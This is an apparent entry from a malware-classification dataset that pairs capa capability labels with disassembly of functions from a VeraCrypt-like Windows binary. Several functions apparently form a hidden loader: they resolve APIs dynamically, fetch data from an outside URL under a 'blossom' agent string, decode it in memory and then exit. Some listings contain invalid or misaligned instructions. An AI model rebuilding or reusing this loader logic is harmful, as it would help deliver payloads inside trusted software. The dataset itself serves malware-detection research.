joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140020aa0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x670
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0x660], rax
mov eax, dword [0x140196f30]
mov rdi, rcx
test eax, eax
jg 0x140020ada
mov byte [0], 0
mov eax, dword [0x140196f30]
shl eax, 8
xor ebp, ebp
or eax, dword [0x140196f34]
shl eax, 8
or eax, dword [0x140196f38]
cmp eax, 0x60000
jl 0x140020c71
call fcn.14001ed90
test eax, eax
je 0x140020c71
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x140020c71
call fcn.14001beb0
test eax, eax
je 0x140020c71
call qword [sym.imp.USER32.dll_GetShellWindow]
test rax, rax
je 0x140020c71
mov ecx, 0x800
mov qword [rsp + 0x688], rbx
mov qword [rsp + 0x690], rsi
call fcn.1400a6818
mov ebx, 0x104
lea rcx, [rsp + 0x30]
mov edx, ebx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x140020baf
lea rdx, str.C:WindowsSystem32
lea rax, [rsp + 0x30]
lea rcx, [rsp + 0x30]
sub rdx, rax
nop word [rax + rax]
lea rax, [rbx + 0x7ffffefa]
test rax, rax
je 0x140020ba3
movzx eax, word [rdx + rcx]
test ax, ax
je 0x140020ba3
mov word [rcx], ax
add rcx, 2
dec rbx
jne 0x140020b80
jmp 0x140020ba8
test rbx, rbx
jne 0x140020bac
sub rcx, 2
mov word [rcx], bp
lea rax, str.rundll32.exe
lea r9, [rsp + 0x30]
lea r8, [0x1400cf770]
lea rcx, [rsp + 0x450]
mov edx, 0x208
mov qword [rsp + 0x20], rax
call section..text
lea r11, str.url.dll
lea r9, [rsp + 0x30]
lea r8, [0x1400cf770]
lea rcx, [rsp + 0x240]
mov edx, 0x208
mov qword [rsp + 0x20], r11
call section..text
lea rax, [rsp + 0x240]
lea r9, [rsp + 0x450]
lea r8, str._s__s_FileProtocolHandler__s
mov edx, 0x400
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140013cf0
mov rdx, rsi
xor ecx, ecx
call fcn.14001bc10
test al, al
je 0x140020c43
mov ebx, ebp
jmp 0x140020c55
mov rcx, rdi
call fcn.140020910
mov ebx, 1
test eax, eax
cmovns ebx, ebp
mov rcx, rsi
call fcn.1400a6820
mov rsi, qword [rsp + 0x690]
test ebx, ebx
mov rbx, qword [rsp + 0x688]
je 0x140020c93
lea rdx, str.open
xor r9d, r9d
mov r8, rdi
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.1400a4e70
mov rbp, qword [rsp + 0x698]
add rsp, 0x670
pop rdi
ret

Function at 0x140021876
Capabilities:
Terminate process

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x1b8], rbx
lea rax, [0x1401462a8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
call rdx
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x38]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
or al, byte [rax]
Function at 0x1400218e0
Capabilities:
Terminate process

Disassembly:
or al, byte [rax]
mov rcx, rax
call rdx
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x60]
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x160], rcx
mov rcx, rax
mov rax, qword [rbp + 0x160]
call rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x78]
mov edx, 0
mov ecx, 8
mov rdi, rax
mov eax, edx
and eax, 0xffff
mov ah, al
mov edx, eax
shl eax, 0x10
or eax, edx
mov esi, ecx
Function at 0x140021ef0
Capabilities:
Terminate process

Disassembly:
mov r13, qword [0x1401462e8]
mov eax, dword [r13]
test eax, eax
je 0x140021f51
lea eax, [rcx + 1]
cdqe
add rax, rax
add rbx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp byte [r13], al
je 0x140021f23
cmp byte [r13 + 1], al
jne 0x1400221b2
movzx eax, word [rbx]
xor ecx, ecx
test ax, ax
je 0x140021f41
xor edx, edx
nop
add ecx, eax
lea eax, [rdx + 1]
mov rdx, rax
movzx eax, word [rbx + rax*2]
test ax, ax
jne 0x140021f30
cmp dword [r13 + 4], ecx
je 0x140021f51
cmp dword [r13 + 8], ecx
invalid
test dword [rcx + 2], esp
invalid

Function at 0x140021f50
Capabilities:
Terminate process

Disassembly:
add byte [rbx + 0x1244351d], cl
add byte [rcx - 1], al
invalid
Function at 0x140021fc0
Capabilities:
Terminate process

Disassembly:
mov dword [rsp + 0x34], 0
mov rcx, qword [str.blossom]
mov dword [rsp + 0x20], 0
call rax
test rax, rax
je 0x1400221b2
mov r10, qword [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], 0
mov ecx, dword [0x140146324]
mov rdx, qword [str.https:__myweb.fsu.edu_jelsner_US.txt]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
test rax, rax
mov rdi, rax
je 0x1400221b2
lea rbp, [rsp + 0x34]
mov rbx, r12
jmp 0x14002202e
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x140022049
add rbx, rax
mov rax, qword [rsp + 0x48]
mov r9, rbp
mov rdx, rbx
mov rcx, rdi
mov r8d, dword [0x14014638c]
call rax
test eax, eax
jne 0x140022023
cmp rbx, r12
je 0x1400221b2
mov rdx, qword [0x140146378]
mov rcx, rsi
mov eax, dword [r12]
mov edi, dword [rdx]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx], edi
mov edi, dword [rdx + 4]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx + 4], edi
mov edi, dword [rdx + 8]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx + 8], edi
mov edi, dword [rdx + 0xc]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx + 0xc], edi
mov edi, dword [rdx + 0x10]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx + 0x10], edi
mov edi, dword [rdx + 0x14]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx + 0x14], edi
mov edi, dword [rdx + 0x18]
mov rdx, qword [0x140146378]
add edi, eax
mov dword [rbx + 0x18], edi
add eax, dword [rdx + 0x1c]
mov rdx, rbx
mov dword [rbx + 0x1c], eax
call r13
test rax, rax
je 0x1400221b2
mov r9d, dword [0x140146380]
xor ecx, ecx
mov r8d, 0x1000
mov edx, dword [0x14014638c]
add bh, bh
ror byte [rbx + rcx*4 + 0x15], 1
push rsi
adc al, byte [rax]
mov rdx, qword [0x1401462b0]
lea r11, [rax + 8]
mov edx, edx
lea r9, [r10 + rdx]
lea rcx, [r10 + rdx + 8]
mov r8d, dword [r9 + 4]
lea rdx, [r10 + rdx + 0x18]
cmp r11, rdx
jae 0x140022149
lea rdx, [rax + 0x18]
cmp rcx, rdx
jae 0x140022149
mov edx, 8
nop dword [rax]
mov ecx, dword [r9 + rdx]
add ecx, r8d
mov dword [rax + rdx], ecx
add rdx, 4
cmp rdx, 0x8000
jne 0x140022130
jmp 0x14002218e
movd xmm2, r8d
xor edx, edx
pshufd xmm1, xmm2, 0
movdqu xmm0, xmmword [rcx + rdx]
paddd xmm0, xmm1
movups xmmword [rax + rdx + 8], xmm0
add rdx, 0x10
cmp rdx, 0x7ff0
jne 0x140022155
mov edx, dword [r9 + 0x7ff8]
add edx, r8d
mov dword [rax + 0x7ff8], edx
add r8d, dword [r9 + 0x7ffc]
mov dword [rax + 0x7ffc], r8d
mov edx, dword [0x140146318]
mov dword [rax + 8], edx
mov edx, dword [rax + 0xc]
invalid
invalid
invalid
invalid
invalid
invalid
xor ecx, ecx
mov rdx, qword [str.Hk_r_]
mov r9d, 0x30
xor r8d, r8d
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140022820
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r10, qword [rcx]
mov r8, qword [rcx + 8]
movabs r9, 0x7fffffffffffffff
sub r8, r10
mov rax, r9
sar r8, 1
sub rax, rdx
cmp rax, r8
jae 0x140022853
lea rcx, str.vector_T__too_long
call fcn.1400c33ac
int3
add r8, rdx
mov rdx, qword [rcx + 0x10]
sub rdx, r10
sar rdx, 1
cmp r8, rdx
jbe 0x140022894
mov rax, rdx
shr rax, 1
sub r9, rax
cmp r9, rdx
jae 0x140022885
xor edx, edx
cmp rdx, r8
cmovb rdx, r8
add rsp, 0x28
jmp fcn.140022030
add rdx, rax
cmp rdx, r8
cmovb rdx, r8
call fcn.140022030
add rsp, 0x28
ret

Function at 0x140023490
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, rcx
lea rdx, [rsp + 0x40]
xor edi, edi
mov ecx, 0x104
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x140023528
cmp eax, 0x104
ja 0x140023528
mov qword [rbx + 0x10], rdi
or rcx, 0xffffffffffffffff
mov qword [rbx + 0x18], 7
mov word [rbx], di
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasw ax, word [rdi]
lea rdx, [rsp + 0x40]
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call fcn.140006260
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400a4e70
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
lea rax, [0x1400ccb18]
lea rdx, [0x140143520]
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
lea rax, str.GetTempPathString:6105
mov qword [rsp + 0x30], rax
call fcn.1400a5d24
int3
Function at 0x140023900
Capabilities:
Create directory
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rsi, rcx
call fcn.140023560
xor ecx, ecx
lea rbp, [0x1401974d0]
test eax, eax
je 0x1400239d1
mov ebx, 0x208
mov rdx, rbp
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x5c
mov rcx, rbp
call fcn.1400a6680
xor edi, edi
test rax, rax
je 0x140023956
mov word [rax + 2], di
mov rcx, rbx
mov rax, rbp
nop dword [rax]
cmp word [rax], di
je 0x140023973
add rax, 2
dec rcx
jne 0x140023960
jmp 0x140023aed
test rcx, rcx
je 0x140023aed
mov rdx, rbx
sub rdx, rcx
sub rbx, rdx
lea rax, [rbp + rdx*2]
je 0x1400239c5
lea rcx, [rbx + rdx + 0x7ffffdf7]
sub rsi, rax
test rcx, rcx
je 0x1400239c0
movzx edx, word [rsi + rax]
test dx, dx
je 0x1400239c0
mov word [rax], dx
add rax, 2
dec rcx
dec rbx
jne 0x140023997
sub rax, 2
mov word [rax], di
jmp 0x140023aed
test rbx, rbx
jne 0x1400239c9
sub rax, 2
mov word [rax], di
jmp 0x140023aed
xor r9d, r9d
xor r8d, r8d
mov edx, 0x801a
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140023ae4
mov ebx, 0x208
mov rax, rbp
mov ecx, ebx
nop dword [rax]
xor edi, edi
cmp word [rax], di
je 0x140023a12
add rax, 2
dec rcx
jne 0x140023a00
jmp 0x140023a6e
test rcx, rcx
je 0x140023a6e
mov rdx, rbx
sub rdx, rcx
mov rcx, rbx
sub rcx, rdx
lea rax, [rbp + rdx*2]
je 0x140023a67
lea r9, str.VeraCrypt_
lea rdx, [rcx + rdx + 0x7ffffdf7]
sub r9, rax
nop dword [rax]
test rdx, rdx
je 0x140023a62
movzx r8d, word [r9 + rax]
test r8w, r8w
je 0x140023a62
mov word [rax], r8w
add rax, 2
dec rdx
dec rcx
jne 0x140023a40
jmp 0x140023a67
test rcx, rcx
jne 0x140023a6b
sub rax, 2
mov word [rax], di
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov r11, rbx
mov rax, rbp
nop
cmp word [rax], di
je 0x140023a90
add rax, 2
dec r11
jne 0x140023a80
jmp 0x140023aed
test r11, r11
je 0x140023aed
mov rcx, rbx
sub rcx, r11
sub rbx, rcx
lea rax, [rbp + rcx*2]
je 0x140023adb
lea rcx, [rbx + rcx + 0x7ffffdf7]
sub rsi, rax
test rcx, rcx
je 0x140023ad6
movzx edx, word [rsi + rax]
test dx, dx
je 0x140023ad6
mov word [rax], dx
add rax, 2
dec rcx
dec rbx
jne 0x140023ab0
sub rax, 2
mov word [rax], di
jmp 0x140023aed
test rbx, rbx
jne 0x140023adf
sub rax, 2
mov word [rax], di
jmp 0x140023aed
xor edi, edi
mov word [0x1401974d0], di
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rax, rbp
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x1400268c0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
mov eax, 0x20c0
call fcn.1400a5130
sub rsp, rax
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0x20b0], rax
mov rbp, rdx
xor edx, edx
mov rdi, r8
mov rsi, rcx
lea rcx, [rsp + 0x60]
lea r8d, [rdx + 0x50]
call fcn.1400a4ea0
lea rax, [0x14001b320]
lea r12, [0x1400ca208]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1401971c0]
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x50
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0x78], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [0x1401971c0]
cdq
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
sub eax, edx
mov dword [rsp + 0x38], 1
sar eax, 1
mov dword [rsp + 0x30], 1
mov r8, r12
mov rdx, r12
mov ecx, 0x80080
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea r9d, [r13 + 2]
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea edx, [r13 + 1]
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, str._q_UAC
lea rax, [rsp + 0xb0]
mov r11d, 0x1000
sub r8, rax
lea rcx, [rsp + 0xb0]
mov edx, r11d
nop dword [rax]
lea rax, [rdx + 0x7fffeffe]
test rax, rax
je 0x140026a14
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140026a14
mov word [rcx], ax
add rcx, 2
dec rdx
jne 0x1400269f0
jmp 0x140026a19
test rdx, rdx
jne 0x140026a1d
sub rcx, 2
mov word [rcx], r13w
lea rax, [rsp + 0xb0]
mov rcx, r11
nop dword [rax]
cmp word [rax], r13w
je 0x140026a41
add rax, 2
dec rcx
jne 0x140026a30
jmp 0x140026a90
test rcx, rcx
je 0x140026a90
mov rdx, r11
sub rdx, rcx
sub r11, rdx
lea rax, [rsp + rdx*2 + 0xb0]
je 0x140026a88
lea rcx, [r11 + rdx + 0x7fffefff]
sub rdi, rax
test rcx, rcx
je 0x140026a83
movzx edx, word [rdi + rax]
test dx, dx
je 0x140026a83
mov word [rax], dx
add rax, 2
dec rcx
dec r11
jne 0x140026a64
jmp 0x140026a88
test r11, r11
jne 0x140026a8c
sub rax, 2
mov word [rax], r13w
lea r9, [rsp + 0xb0]
lea rdx, str.runas
mov r8, rbp
mov rcx, rbx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x140026ad5
test rsi, rsi
je 0x140026ad1
lea rdx, str.LaunchElevatedProcess:3313
mov rcx, rsi
call fcn.140025910
xor eax, eax
jmp 0x140026ae5
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rsp + 0x20b0]
xor rcx, rsp
call fcn.1400a4e70
mov rbx, qword [rsp + 0x2100]
add rsp, 0x20c0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140026d90
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x240
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rdi, rcx
mov rbp, rdx
mov ebx, 0x104
lea rcx, [rsp + 0x20]
mov edx, ebx
mov r12, r9
mov esi, r8d
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor r10d, r10d
test eax, eax
jne 0x140026e23
lea r8, str.C:WindowsSystem32
lea rax, [rsp + 0x20]
mov edx, ebx
sub r8, rax
lea rcx, [rsp + 0x20]
lea rax, [rdx + 0x7ffffefa]
test rax, rax
je 0x140026e16
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140026e16
mov word [rcx], ax
add rcx, 2
dec rdx
jne 0x140026df2
jmp 0x140026e1b
test rdx, rdx
jne 0x140026e1f
sub rcx, 2
mov word [rcx], r10w
mov rcx, rbx
lea rax, [rsp + 0x20]
nop dword [rax + rax]
cmp word [rax], r10w
je 0x140026e41
add rax, 2
dec rcx
jne 0x140026e30
jmp 0x140026e9f
test rcx, rcx
je 0x140026e9f
mov rdx, rbx
sub rdx, rcx
mov rcx, rbx
sub rcx, rdx
lea rax, [rsp + rdx*2 + 0x20]
je 0x140026e97
lea r9, [0x1400ca248]
lea rdx, [rcx + rdx + 0x7ffffefb]
sub r9, rax
nop dword [rax + rax]
test rdx, rdx
je 0x140026e92
movzx r8d, word [r9 + rax]
test r8w, r8w
je 0x140026e92
mov word [rax], r8w
add rax, 2
dec rdx
dec rcx
jne 0x140026e70
jmp 0x140026e97
test rcx, rcx
jne 0x140026e9b
sub rax, 2
mov word [rax], r10w
mov rcx, rbx
lea rax, [rsp + 0x20]
cmp word [rax], r10w
je 0x140026eb8
add rax, 2
dec rcx
jne 0x140026ea7
jmp 0x140026f04
test rcx, rcx
je 0x140026f04
mov rdx, rbx
sub rdx, rcx
sub rbx, rdx
lea rax, [rsp + rdx*2 + 0x20]
je 0x140026efc
lea rcx, [rbx + rdx + 0x7ffffefb]
sub rdi, rax
test rcx, rcx
je 0x140026ef7
movzx edx, word [rdi + rax]
test dx, dx
je 0x140026ef7
mov word [rax], dx
add rax, 2
dec rcx
dec rbx
jne 0x140026ed8
jmp 0x140026efc
test rbx, rbx
jne 0x140026f00
sub rax, 2
mov word [rax], r10w
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp], rax
test rax, rax
jne 0x140026f3b
test esi, esi
jne 0x140026f3b
mov rdx, r12
xor ecx, ecx
call fcn.140025910
lea rcx, str.INIT_DLL
call fcn.14003a7b0
mov rcx, rax
call fcn.140018310
int3
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400a4e70
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140028040
Capabilities:
Create service
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rbp, rcx
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov edi, ebx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140028112
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
lea rax, str.System32drivers_veracrypt.sys
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
lea r8, [0x1400cd980]
lea rdx, [0x1400cd980]
mov r9d, 0xf01ff
mov rcx, rsi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rbx, rax
test rax, rax
je 0x140028112
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rdx, [0x1400cd980]
mov r8d, 0xf01ff
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140028112
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140028155
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
je 0x140028155
lea rdx, str.DoDriverInstall:5112
mov rcx, rbp
call fcn.140025910
lea rcx, str.DRIVER_INSTALL_FAILED
call fcn.14003a7b0
mov r8, qword [0x140196ee8]
mov r9d, 0x10
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14002815a
mov edi, 1
test rbx, rbx
je 0x140028168
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rsi, rsi
je 0x140028176
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea r11, [rsp + 0x70]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140028650
Capabilities:
Get common file path
Set current directory

Disassembly:
sub rsp, 0x258
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0x240], rax
call fcn.140023560
test eax, eax
jne 0x140028692
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
lea edx, [r9 + 0x28]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1400286bf
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
mov edx, 0x5c
call fcn.1400a6680
test rax, rax
je 0x1400286bf
xor ecx, ecx
mov word [rax + 2], cx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400a4e70
add rsp, 0x258
ret
Function at 0x14002b450
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push rdi
sub rsp, 0xc80
mov rax, qword [0x14014dcf0]
xor rax, rsp
mov qword [rsp + 0xc70], rax
mov rax, rdx
mov rdi, rcx
lea r9, [rsp + 0x34]
lea rdx, str.DeviceHarddisk_dPartition_d
lea r8, [rsp + 0x30]
mov rcx, rax
call fcn.1400a9a00
cmp eax, 2
je 0x14002b496
xor eax, eax
jmp 0x14002b647
lea rdx, [rsp + 0x860]
mov ecx, 0x208
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x14002b48f
lea r9, [rsp + 0x860]
lea r8, str._sVeraCrypt_Write_Protection_Removal.cmd
lea rcx, [rsp + 0x40]
mov edx, 0x410
mov qword [rsp + 0xca0], rbx
call section..text
lea r9, [rsp + 0x860]
lea r8, str._sVeraCrypt_Write_Protection_Removal.diskpart
lea rcx, [rsp + 0x450]
mov edx, 0x410
call section..text
lea rdx, [0x1400cd734]
lea rcx, [rsp + 0x40]
call fcn.1400a6e30
mov rbx, rax
test rax, rax
jne 0x14002b523
lea rdx, str.RemoveDeviceWriteProtection:13352
mov rcx, rdi
call fcn.140025910
xor eax, eax
jmp 0x14002b63f
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x450]
lea r8, [rsp + 0x450]
lea rdx, str._diskpart__s___s__n_pause_n_del___s____s_
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400a6834
lea r8, [rsp + 0x40]
mov rdx, rbx
mov rcx, rdi
call fcn.14001de00
mov rcx, rbx
call fcn.1400a6944
lea rdx, [0x1400cd734]
lea rcx, [rsp + 0x450]
call fcn.1400a6e30
mov rbx, rax
test rax, rax
jne 0x14002b5a1
lea rdx, str.RemoveDeviceWriteProtection:13364
mov rcx, rdi
call fcn.140025910
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x14002b63f
mov r8d, dword [rsp + 0x30]
lea rdx, str.select_disk__d_nattributes_disk_clear_readonly_n
mov rcx, rax
call fcn.1400a6834
mov r8d, dword [rsp + 0x34]
test r8d, r8d
je 0x14002b5ce
lea rdx, str.select_partition__d_nattributes_volume_clear_readonly_n
mov rcx, rbx
call fcn.1400a6834
lea rdx, str.exit_n
mov rcx, rbx
call fcn.1400a6834
lea r8, [rsp + 0x450]
mov rdx, rbx
mov rcx, rdi
call fcn.14001de00
mov rcx, rbx
call fcn.1400a6944
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x14002b612
call fcn.14001ed90
lea rdx, str.runas
test eax, eax
jne 0x14002b619
lea rdx, str.open
lea r8, [rsp + 0x40]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, 1
mov rbx, qword [rsp + 0xca0]
mov rcx, qword [rsp + 0xc70]
xor rcx, rsp
call fcn.1400a4e70
add rsp, 0xc80
pop rdi
ret